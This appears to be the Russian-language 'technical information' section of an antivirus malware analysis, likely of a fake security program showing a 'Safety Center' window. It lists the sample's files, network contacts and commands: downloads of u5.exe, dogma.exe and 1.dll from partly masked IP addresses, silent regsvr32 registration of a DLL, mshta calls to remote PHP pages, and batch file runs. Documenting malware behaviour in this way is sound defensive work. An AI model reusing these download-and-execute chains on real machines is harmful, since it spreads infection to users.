Техническая информация
- %TEMP%\tnp.exe (загружен из сети Интернет) -install adver347
- %TEMP%\dm.exe (загружен из сети Интернет)
- %TEMP%\syst.exe http://91.##7.116.44/u5.exe %TEMP%\tnp.exe http://12#.#24.9.67/dogma.exe %TEMP%\dm.exe http://91.##7.116.44/1.dll %TEMP%\sys.dll
- <SYSTEM32>\regsvr32.exe /s %TEMP%\sys.dll
- <SYSTEM32>\mshta.exe http://ur###nam.net/8732489273.php
- <SYSTEM32>\mshta.exe http://95.##1.27.154/install.php?id#########
- <SYSTEM32>\cmd.exe /c %TEMP%\temp.bat
- <SYSTEM32>\cmd.exe /c %TEMP%\d.bat
- %TEMP%\tnp.exe
- %TEMP%\dm.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\8732489273[1].php
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\install[1].php
- %TEMP%\temp.bat
- %TEMP%\syst.exe
- %TEMP%\sys.dll
- %TEMP%\d.bat
- '95.##1.27.154':80
- 'localhost':1040
- 'ur###nam.net':80
- '91.##7.116.44':80
- '12#.#24.9.67':80
- 'localhost':1037
- 95.##1.27.154/install.php?id#########
- ur###nam.net/8732489273.php
- 91.##7.116.44/u5.exe
- 91.##7.116.44/1.dll
- 12#.#24.9.67/dogma.exe
- DNS ASK ur###nam.net
- '<IP-адрес в локальной сети>':1041
- ClassName: 'TForm1' WindowName: 'Safety Center'
- ClassName: 'Shell_TrayWnd' WindowName: ''